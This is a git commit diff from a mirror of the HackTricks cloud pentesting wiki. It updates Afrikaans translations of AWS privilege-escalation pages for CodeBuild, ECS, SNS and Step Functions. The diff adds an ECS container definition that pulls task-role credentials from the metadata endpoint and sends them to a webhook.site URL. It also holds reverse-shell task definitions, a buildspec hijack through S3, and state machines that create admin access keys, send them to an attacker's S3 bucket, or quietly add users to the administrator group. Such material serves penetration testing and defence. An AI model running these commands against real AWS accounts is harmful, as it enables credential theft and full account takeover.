mirror of
https://github.com/HackTricks-wiki/hacktricks-cloud.git
synced 2025-12-26 20:54:14 -08:00
Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/
This commit is contained in:
Translator
@@ -63,7 +63,7 @@ aws codebuild start-build-batch --project <project-name> --buildspec-override fi
|
||||
- `StartBuild` aktiveer 'n enkele bouwerk met 'n spesifieke `buildspec.yml`.
|
||||
- `StartBuildBatch` laat jou toe om 'n batch van bouwerke te begin, met meer komplekse konfigurasies (soos om verskeie bouwerke gelyktydig te laat loop).
|
||||
|
||||
**Potensiële Impak:** Direkte privesc na aangehegte AWS Codebuild rolle.
|
||||
**Potensiële Impak:** Direkte privesk aan aangehegte AWS Codebuild rolle.
|
||||
|
||||
### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`)
|
||||
|
||||
@@ -214,7 +214,7 @@ JSON="{
|
||||
|
||||
printf "$JSON" > $REV_PATH
|
||||
|
||||
aws codebuild update-project --cli-input-json file://$REV_PATH
|
||||
aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH
|
||||
|
||||
aws codebuild start-build --project-name codebuild-demo-project
|
||||
```
|
||||
@@ -323,9 +323,9 @@ Vir meer inligting [**kyk na die dokumentasie**](https://docs.aws.amazon.com/cod
|
||||
|
||||
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
|
||||
|
||||
'n Aanvaller wat in staat is om 'n spesifieke CodeBuild-projek se bou te begin/herbegin wat sy `buildspec.yml` lêer op 'n S3-bucket stoor waartoe die aanvaller skryfrechten het, kan opdragte uitvoer in die CodeBuild-proses.
|
||||
'n Aanvaller wat in staat is om 'n spesifieke CodeBuild projek se bou te begin/herbegin wat sy `buildspec.yml` lêer op 'n S3-bucket stoor waartoe die aanvaller skryfreëls het, kan opdragte uitvoer in die CodeBuild proses.
|
||||
|
||||
Let wel: die eskalasie is slegs relevant as die CodeBuild-werker 'n ander rol het, hoopvol meer bevoorreg, as dié van die aanvaller.
|
||||
Let wel: die eskalasie is slegs relevant as die CodeBuild werker 'n ander rol het, hoopvol meer bevoorreg, as dié van die aanvaller.
|
||||
```bash
|
||||
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
|
||||
|
||||
@@ -356,7 +356,7 @@ commands:
|
||||
> [!WARNING]
|
||||
> Let daarop dat die buildspec in zip-formaat verwag kan word, so 'n aanvaller sal moet aflaai, uitpak, die `buildspec.yml` vanaf die wortelgids wysig, weer zip en oplaai.
|
||||
|
||||
Meer besonderhede kan [hier] (https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) gevind word.
|
||||
Meer besonderhede kan [hier](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) gevind word.
|
||||
|
||||
**Potensiële Impak:** Direkte privesc na aangehegte AWS Codebuild rolle.
|
||||
|
||||
|
||||
@@ -12,7 +12,10 @@ Meer **inligting oor ECS** in:
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:RunTask`
|
||||
|
||||
'n Aanvaller wat die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemming in ECS misbruik, kan **nuwe taakdefinisie** genereer met 'n **kwaadwillige houer** wat die metadata geloofsbriewe steel en **dit uitvoer**.
|
||||
'n Aanvaller wat die `iam:PassRole`, `ecs:RegisterTaskDefinition` en `ecs:RunTask` toestemming in ECS misbruik, kan **nuwe taakdefinisie** genereer met 'n **kwaadaardige houer** wat die metadata-akkrediteerlinge steel en **dit uitvoer**.
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Reverse Shell" }}
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -32,12 +35,52 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Webhook" }}
|
||||
|
||||
Skep 'n webhook met 'n webwerf soos webhook.site
|
||||
```bash
|
||||
|
||||
# Create file container-definition.json
|
||||
[
|
||||
{
|
||||
"name": "exfil_creds",
|
||||
"image": "python:latest",
|
||||
"entryPoint": ["sh", "-c"],
|
||||
"command": [
|
||||
"CREDS=$(curl -s http://169.254.170.2${AWS_CONTAINER_CREDENTIALS_RELATIVE_URI}); curl -X POST -H 'Content-Type: application/json' -d \"$CREDS\" https://webhook.site/abcdef12-3456-7890-abcd-ef1234567890"
|
||||
]
|
||||
}
|
||||
]
|
||||
|
||||
# Run task definition, uploading the .json file
|
||||
aws ecs register-task-definition \
|
||||
--family iam_exfiltration \
|
||||
--task-role-arn arn:aws:iam::947247140022:role/ecsTaskExecutionRole \
|
||||
--network-mode "awsvpc" \
|
||||
--cpu 256 \
|
||||
--memory 512 \
|
||||
--requires-compatibilities FARGATE \
|
||||
--container-definitions file://container-definition.json
|
||||
|
||||
# Check the webhook for a response
|
||||
|
||||
# Delete task definition
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#endtabs }}
|
||||
|
||||
**Potensiële Impak:** Direkte privesc na 'n ander ECS-rol.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`
|
||||
|
||||
Net soos in die vorige voorbeeld kan 'n aanvaller wat die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** toestemmings in ECS misbruik, 'n **nuwe taakdefinisie** genereer met 'n **kwaadaardige houer** wat die metadata-akkrediteerings steel en dit **uitvoer**.\
|
||||
However, in this case, a container instance to run the malicious task definition need to be.
|
||||
Net soos in die vorige voorbeeld kan 'n aanvaller wat die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:StartTask`** toestemmings in ECS misbruik, 'n **nuwe taakdefinisie** genereer met 'n **kwaadaardige houer** wat die metadata-akkrediteerlinge steel en **dit uitvoer**.\
|
||||
Echter, in hierdie geval moet daar 'n houerinstansie wees om die kwaadaardige taakdefinisie uit te voer.
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -53,11 +96,11 @@ aws ecs start-task --task-definition iam_exfiltration \
|
||||
## You need to remove all the versions (:1 is enough if you just created one)
|
||||
aws ecs deregister-task-definition --task-definition iam_exfiltration:1
|
||||
```
|
||||
**Potensiële Impak:** Direkte privesc na enige ECS-rol.
|
||||
**Potensiële Impak:** Direkte privesc na enige ECS rol.
|
||||
|
||||
### `iam:PassRole`, `ecs:RegisterTaskDefinition`, (`ecs:UpdateService|ecs:CreateService)`
|
||||
|
||||
Net soos in die vorige voorbeeld kan 'n aanvaller wat die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** of **`ecs:CreateService`** toestemmings in ECS misbruik, **'n nuwe taakdefinisie genereer** met 'n **kwaadwillige houer** wat die metadata-akkrediteerings steel en **dit uitvoer deur 'n nuwe diens te skep met ten minste 1 taak wat loop.**
|
||||
Net soos in die vorige voorbeeld kan 'n aanvaller wat die **`iam:PassRole`, `ecs:RegisterTaskDefinition`, `ecs:UpdateService`** of **`ecs:CreateService`** toestemmings in ECS misbruik, **'n nuwe taakdefinisie genereer** met 'n **kwaadwillige houer** wat die metadata geloofsbriewe steel en **dit uitvoer deur 'n nuwe diens te skep met ten minste 1 taak wat loop.**
|
||||
```bash
|
||||
# Generate task definition with rev shell
|
||||
aws ecs register-task-definition --family iam_exfiltration \
|
||||
@@ -92,13 +135,13 @@ aws ecs run-task \
|
||||
--cluster <cluster-name> \
|
||||
--network-configuration "{\"awsvpcConfiguration\":{\"assignPublicIp\": \"DISABLED\", \"subnets\":[\"<subnet-name>\"]}}"
|
||||
```
|
||||
**Potensiële Impak:** Direkte privesc na enige ECS rol.
|
||||
**Potensiële Impak:** Direkte privesc na enige ECS-rol.
|
||||
|
||||
### `ecs:RegisterTaskDefinition`, **`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
Hierdie scenario is soos die vorige, maar **sonder** die **`iam:PassRole`** toestemming.\
|
||||
Dit is steeds interessant omdat as jy 'n arbitrêre houer kan uitvoer, selfs al is dit sonder 'n rol, jy 'n **privilegeerde houer kan uitvoer om te ontsnap** na die node en die **EC2 IAM rol** en die **ander ECS houer rolle** wat in die node loop, kan **steel**.\
|
||||
Jy kan selfs **ander take dwing om binne die EC2 instance** wat jy gekompromitteer het, te loop om hul akrediteer te steel (soos bespreek in die [**Privesc na node afdeling**](aws-ecs-privesc.md#privesc-to-node)).
|
||||
Dit is steeds interessant omdat as jy 'n arbitrêre houer kan uitvoer, selfs al is dit sonder 'n rol, jy **'n bevoorregte houer kan uitvoer om te ontsnap** na die node en die **EC2 IAM-rol** en die **ander ECS-houer rolle** wat in die node loop, kan **steel**.\
|
||||
Jy kan selfs **ander take dwing om binne die EC2-instantie** wat jy kompromitteer te loop om hul akrediteer te steel (soos bespreek in die [**Privesc na node afdeling**](aws-ecs-privesc.md#privesc-to-node)).
|
||||
|
||||
> [!WARNING]
|
||||
> Hierdie aanval is slegs moontlik as die **ECS-kluster EC2** instansies gebruik en nie Fargate nie.
|
||||
@@ -145,7 +188,7 @@ aws ecs run-task --task-definition iam_exfiltration \
|
||||
### `ecs:ExecuteCommand`, `ecs:DescribeTasks,`**`(ecs:RunTask|ecs:StartTask|ecs:UpdateService|ecs:CreateService)`**
|
||||
|
||||
'n Aanvaller met die **`ecs:ExecuteCommand`, `ecs:DescribeTasks`** kan **opdragte uitvoer** binne 'n lopende houer en die IAM-rol wat daaraan gekoppel is, uitbring (jy het die beskryf toestemmings nodig omdat dit nodig is om `aws ecs execute-command` te run).\
|
||||
Echter, om dit te doen, moet die houerinstansie die **ExecuteCommand-agent** aan het (wat standaard nie is nie).
|
||||
Echter, om dit te doen, moet die houerinstansie die **ExecuteCommand-agent** draai (wat standaard nie is nie).
|
||||
|
||||
Daarom kan die aanvaller probeer om:
|
||||
|
||||
@@ -227,7 +270,7 @@ aws ecs create-task-set --cluster existing-cluster --service existing-service --
|
||||
# Update the primary task set for the service
|
||||
aws ecs update-service-primary-task-set --cluster existing-cluster --service existing-service --primary-task-set arn:aws:ecs:region:123456789012:task-set/existing-cluster/existing-service/malicious-task-set-id
|
||||
```
|
||||
**Potensiële Impak**: Voer arbitrêre kode uit in die geaffekteerde diens, wat moontlik die funksionaliteit daarvan beïnvloed of sensitiewe data uitlok.
|
||||
**Potensiële Impak**: Voer arbitrêre kode uit in die geraakte diens, wat moontlik die funksionaliteit daarvan beïnvloed of sensitiewe data uitvreet.
|
||||
|
||||
## Verwysings
|
||||
|
||||
|
||||
@@ -20,7 +20,7 @@ aws sns publish --topic-arn <value> --message <value>
|
||||
|
||||
### `sns:Subscribe`
|
||||
|
||||
'n Aanvaller kan inteken of op 'n SNS onderwerp, wat moontlik ongeoorloofde toegang tot boodskappe kan verkry of die normale funksionering van toepassings wat op die onderwerp staatmaak, kan ontwrig.
|
||||
'n Aanvaller kan inteken op 'n SNS onderwerp, wat moontlik ongeoorloofde toegang tot boodskappe verleen of die normale funksionering van toepassings wat op die onderwerp staatmaak, ontwrig.
|
||||
```bash
|
||||
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
```
|
||||
@@ -32,6 +32,6 @@ aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
|
||||
```css
|
||||
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
|
||||
```
|
||||
**Potensiële Impak**: Onbevoegde toegang tot die onderwerp, boodskapblootstelling, of onderwerp manipulasie deur onbevoegde gebruikers of dienste, ontwrigting van normale funksionering vir toepassings wat op die onderwerp staatmaak.
|
||||
**Potensiële Impak**: Onbevoegde toegang tot die onderwerp, boodskapblootstelling, of onderwerpmanipulasie deur onbevoegde gebruikers of dienste, ontwrigting van normale funksionering vir toepassings wat op die onderwerp staatmaak.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,24 +12,24 @@ Vir meer inligting oor hierdie AWS-diens, kyk:
|
||||
|
||||
### Taak Hulpbronne
|
||||
|
||||
Hierdie voorregverhoging tegnieke gaan vereis dat jy 'n paar AWS stap funksie hulpbronne gebruik om die verlangde voorregverhoging aksies uit te voer.
|
||||
Hierdie voorregverhogingstegnieke gaan vereis dat jy 'n paar AWS stapfunksie hulpbronne gebruik om die verlangde voorregverhogingsaksies uit te voer.
|
||||
|
||||
Om al die moontlike aksies te kontroleer, kan jy na jou eie AWS-rekening gaan, die aksie wat jy wil gebruik kies en die parameters wat dit gebruik, soos in:
|
||||
Om al die moontlike aksies te kontroleer, kan jy na jou eie AWS-rekening gaan, die aksie kies wat jy wil gebruik en die parameters wat dit gebruik, soos in:
|
||||
|
||||
<figure><img src="../../../images/telegram-cloud-photo-size-4-5920521132757336440-y.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Of jy kan ook na die API AWS dokumentasie gaan en elke aksie se dokumentasie nagaan:
|
||||
Of jy kan ook na die API AWS-dokumentasie gaan en elke aksiedokumentasie nagaan:
|
||||
|
||||
- [**AddUserToGroup**](https://docs.aws.amazon.com/IAM/latest/APIReference/API_AddUserToGroup.html)
|
||||
- [**GetSecretValue**](https://docs.aws.amazon.com/secretsmanager/latest/apireference/API_GetSecretValue.html)
|
||||
|
||||
### `states:TestState` & `iam:PassRole`
|
||||
|
||||
'n Aanvaller met die **`states:TestState`** & **`iam:PassRole`** toestemmings kan enige toestand toets en enige IAM-rol daaraan oorplaas sonder om 'n bestaande toestand masjien te skep of op te dateer, wat ongeoorloofde toegang tot ander AWS-dienste met die rolle se toestemmings moontlik maak. Saam kan hierdie toestemmings lei tot uitgebreide ongeoorloofde aksies, van die manipulasie van werksvloei tot die verandering van data, datalekke, hulpbron manipulasie, en voorregverhoging.
|
||||
'n Aanvaller met die **`states:TestState`** & **`iam:PassRole`** toestemmings kan enige toestand toets en enige IAM-rol daaraan oorplaas sonder om 'n bestaande toestandmasjien te skep of op te dateer, wat moontlik ongeoorloofde toegang tot ander AWS-dienste met die rolle se toestemmings moontlik maak. Saam kan hierdie toestemmings lei tot uitgebreide ongeoorloofde aksies, van die manipulasie van werksvloei om data te verander tot datalekke, hulpbronmanipulasie en voorregverhoging.
|
||||
```bash
|
||||
aws states test-state --definition <value> --role-arn <value> [--input <value>] [--inspection-level <value>] [--reveal-secrets | --no-reveal-secrets]
|
||||
```
|
||||
Die volgende voorbeelde wys hoe om 'n toestand te toets wat 'n toegangsleutel vir die **`admin`** gebruiker skep deur gebruik te maak van hierdie toestemmings en 'n toelaatbare rol van die AWS-omgewing. Hierdie toelaatbare rol moet enige hoë-bevoegdheid beleid daaraan gekoppel hê (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die toestand toelaat om die **`iam:CreateAccessKey`** aksie uit te voer:
|
||||
Die volgende voorbeelde toon hoe om 'n toestand te toets wat 'n toegangsleutel vir die **`admin`** gebruiker skep deur gebruik te maak van hierdie toestemmings en 'n toegeeflike rol van die AWS-omgewing. Hierdie toegeeflike rol moet enige hoë-bevoegdheid beleid daaraan gekoppel hê (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die toestand toelaat om die **`iam:CreateAccessKey`** aksie uit te voer:
|
||||
|
||||
- **stateDefinition.json**:
|
||||
```json
|
||||
@@ -42,7 +42,7 @@ Die volgende voorbeelde wys hoe om 'n toestand te toets wat 'n toegangsleutel vi
|
||||
"End": true
|
||||
}
|
||||
```
|
||||
- **Opdrag** uitgevoer om die privesc uit te voer:
|
||||
- **Opdrag** uitgevoer om die privesc te verrig:
|
||||
```bash
|
||||
aws stepfunctions test-state --definition file://stateDefinition.json --role-arn arn:aws:iam::<account-id>:role/PermissiveRole
|
||||
|
||||
@@ -63,7 +63,7 @@ aws stepfunctions test-state --definition file://stateDefinition.json --role-arn
|
||||
|
||||
### `states:CreateStateMachine` & `iam:PassRole` & (`states:StartExecution` | `states:StartSyncExecution`)
|
||||
|
||||
'n Aanvaller met die **`states:CreateStateMachine`**& **`iam:PassRole`** sal in staat wees om 'n staatmasjien te skep en enige IAM-rol aan dit toe te ken, wat onbevoegde toegang tot ander AWS-dienste met die rolle se toestemmings moontlik maak. In teenstelling met die vorige privesc-tegniek (**`states:TestState`** & **`iam:PassRole`**), voer hierdie een nie self uit nie; jy sal ook die **`states:StartExecution`** of **`states:StartSyncExecution`** toestemmings nodig hê (**`states:StartSyncExecution`** is **nie beskikbaar vir standaard werksvloei nie**, **net om staatmasjiene uit te druk**) om 'n uitvoering oor die staatmasjien te begin.
|
||||
'n Aanvaller met die **`states:CreateStateMachine`**& **`iam:PassRole`** sal in staat wees om 'n staatmasjien te skep en enige IAM-rol aan dit toe te ken, wat onbevoegde toegang tot ander AWS-dienste met die rolle se toestemmings moontlik maak. In teenstelling met die vorige privesc tegniek (**`states:TestState`** & **`iam:PassRole`**), voer hierdie een nie self uit nie; jy sal ook die **`states:StartExecution`** of **`states:StartSyncExecution`** toestemmings nodig hê (**`states:StartSyncExecution`** is **nie beskikbaar vir standaard werksvloei nie**, **net vir uitdrukkingsstaatmasjiene**) om 'n uitvoering oor die staatmasjien te begin.
|
||||
```bash
|
||||
# Create a state machine
|
||||
aws states create-state-machine --name <value> --definition <value> --role-arn <value> [--type <STANDARD | EXPRESS>] [--logging-configuration <value>]\
|
||||
@@ -75,7 +75,7 @@ aws states start-execution --state-machine-arn <value> [--name <value>] [--input
|
||||
# Start a Synchronous Express state machine execution
|
||||
aws states start-sync-execution --state-machine-arn <value> [--name <value>] [--input <value>] [--trace-header <value>]
|
||||
```
|
||||
Die volgende voorbeelde toon hoe om 'n toestandsmasjien te skep wat 'n toegangsleutel vir die **`admin`** gebruiker skep en hierdie toegangsleutel na 'n aanvaller-beheerde S3-bucket uit te voer, terwyl hierdie toestemmings en 'n toelaatbare rol van die AWS-omgewing benut word. Hierdie toelaatbare rol moet enige hoë-privilege beleid daaraan gekoppel hê (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die toestandsmasjien toelaat om die **`iam:CreateAccessKey`** & **`s3:putObject`** aksies uit te voer.
|
||||
Die volgende voorbeelde toon hoe om 'n toestandsmasjien te skep wat 'n toegangsleutel vir die **`admin`** gebruiker skep en hierdie toegangsleutel na 'n aanvaller-beheerde S3-bucket uit te voer, terwyl hierdie toestemmings en 'n toegeeflike rol van die AWS-omgewing benut word. Hierdie toegeeflike rol moet enige hoë-privilege beleid daaraan gekoppel hê (byvoorbeeld **`arn:aws:iam::aws:policy/AdministratorAccess`**) wat die toestandsmasjien toelaat om die **`iam:CreateAccessKey`** & **`s3:putObject`** aksies uit te voer.
|
||||
|
||||
- **stateMachineDefinition.json**:
|
||||
```json
|
||||
@@ -115,7 +115,7 @@ Die volgende voorbeelde toon hoe om 'n toestandsmasjien te skep wat 'n toegangsl
|
||||
}
|
||||
}
|
||||
```
|
||||
- **Opdrag** uitgevoer om **die toestandmasjien** te **skep**:
|
||||
- **Opdrag** uitgevoer om die **toestandmasjien** te **skep**:
|
||||
```bash
|
||||
aws stepfunctions create-state-machine --name MaliciousStateMachine --definition file://stateMachineDefinition.json --role-arn arn:aws:iam::123456789012:role/PermissiveRole
|
||||
{
|
||||
@@ -134,24 +134,24 @@ aws stepfunctions start-execution --state-machine-arn arn:aws:states:us-east-1:1
|
||||
> [!WARNING]
|
||||
> Die aanvaller-beheerde S3-bucket moet toestemmings hê om 'n s3:PutObject aksie van die slagoffer rekening te aanvaar.
|
||||
|
||||
**Potensiële Impak**: Onbevoegde uitvoering en manipulasie van werksvloei en toegang tot sensitiewe hulpbronne, wat moontlik kan lei tot beduidende sekuriteitsbreuke.
|
||||
**Potensiële Impak**: Ongeoorloofde uitvoering en manipulasie van werksvloeie en toegang tot sensitiewe hulpbronne, wat moontlik kan lei tot beduidende sekuriteitsbreuke.
|
||||
|
||||
### `states:UpdateStateMachine` & (nie altyd vereis nie) `iam:PassRole`
|
||||
|
||||
'n Aanvaller met die **`states:UpdateStateMachine`** toestemming sal in staat wees om die definisie van 'n staat masjien te wysig, en kan ekstra stealthy state byvoeg wat kan eindig in 'n privilige-escalasie. Op hierdie manier, wanneer 'n wettige gebruiker 'n uitvoering van die staat masjien begin, sal hierdie nuwe kwaadwillige stealth staat uitgevoer word en die privilige-escalasie sal suksesvol wees.
|
||||
'n Aanvaller met die **`states:UpdateStateMachine`** toestemming sal in staat wees om die definisie van 'n staat masjien te wysig, en kan ekstra stealthy state byvoeg wat kan eindig in 'n privilige eskalasie. Op hierdie manier, wanneer 'n wettige gebruiker 'n uitvoering van die staat masjien begin, sal hierdie nuwe kwaadwillige stealth staat uitgevoer word en die privilige eskalasie sal suksesvol wees.
|
||||
|
||||
Afhangende van hoe permissief die IAM Rol geassosieer met die staat masjien is, sal 'n aanvaller 2 situasies in die gesig staar:
|
||||
Afhangende van hoe permissief die IAM Rol wat aan die staat masjien gekoppel is, is, sal 'n aanvaller 2 situasies in die gesig staar:
|
||||
|
||||
1. **Permissiewe IAM Rol**: As die IAM Rol geassosieer met die staat masjien reeds permissief is (dit het byvoorbeeld die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid aangeheg), dan sal die **`iam:PassRole`** toestemming nie vereis word om privilige te eskaleer nie, aangesien dit nie nodig sal wees om ook die IAM Rol op te dateer nie, met die staat masjien definisie is genoeg.
|
||||
2. **Nie permissiewe IAM Rol**: In teenstelling met die vorige geval, hier sal 'n aanvaller ook die **`iam:PassRole`** toestemming benodig aangesien dit nodig sal wees om 'n permissiewe IAM Rol aan die staat masjien te assosieer benewens om die staat masjien definisie te wysig.
|
||||
1. **Permissiewe IAM Rol**: As die IAM Rol wat aan die staat masjien gekoppel is, reeds permissief is (dit het byvoorbeeld die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid aangeheg), dan sal die **`iam:PassRole`** toestemming nie vereis word om privilige te eskaleer nie, aangesien dit nie nodig sal wees om ook die IAM Rol op te dateer nie, met die staat masjien definisie is genoeg.
|
||||
2. **Nie permissiewe IAM Rol**: In teenstelling met die vorige geval, hier sal 'n aanvaller ook die **`iam:PassRole`** toestemming benodig aangesien dit nodig sal wees om 'n permissiewe IAM Rol aan die staat masjien te koppel, benewens om die staat masjien definisie te wysig.
|
||||
```bash
|
||||
aws states update-state-machine --state-machine-arn <value> [--definition <value>] [--role-arn <value>] [--logging-configuration <value>] \
|
||||
[--tracing-configuration <enabled=true|false>] [--publish | --no-publish] [--version-description <value>]
|
||||
```
|
||||
Die volgende voorbeelde wys hoe om 'n wettige toestandsmasjien op te dateer wat net 'n HelloWorld Lambda-funksie aanroep, om 'n ekstra toestand by te voeg wat die gebruiker **`unprivilegedUser`** aan die **`administrator`** IAM-groep voeg. Op hierdie manier, wanneer 'n wettige gebruiker 'n uitvoering van die opgedateerde toestandsmasjien begin, sal hierdie nuwe kwaadwillige stealth-toestand uitgevoer word en die privilige-eskalasie sal suksesvol wees.
|
||||
Die volgende voorbeelde wys hoe om 'n wettige toestandmasjien op te dateer wat net 'n HelloWorld Lambda-funksie aanroep, om 'n ekstra toestand by te voeg wat die gebruiker **`unprivilegedUser`** by die **`administrator`** IAM-groep voeg. Op hierdie manier, wanneer 'n wettige gebruiker 'n uitvoering van die opgedateerde toestandmasjien begin, sal hierdie nuwe kwaadwillige stealth-toestand uitgevoer word en die bevoegdheidseskalering sal suksesvol wees.
|
||||
|
||||
> [!WARNING]
|
||||
> As die toestandsmasjien nie 'n toelaatbare IAM-rol het nie, sal dit ook die **`iam:PassRole`** toestemming benodig om die IAM-rol op te dateer ten einde 'n toelaatbare IAM-rol te assosieer (byvoorbeeld een met die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid aangeheg).
|
||||
> As die toestandmasjien nie 'n toelaatbare IAM-rol geassosieer het nie, sal dit ook die **`iam:PassRole`** toestemming benodig om die IAM-rol op te dateer ten einde 'n toelaatbare IAM-rol te assosieer (byvoorbeeld een met die **`arn:aws:iam::aws:policy/AdministratorAccess`** beleid geheg).
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="Legit State Machine" }}
|
||||
|
||||
Reference in New Issue
Block a user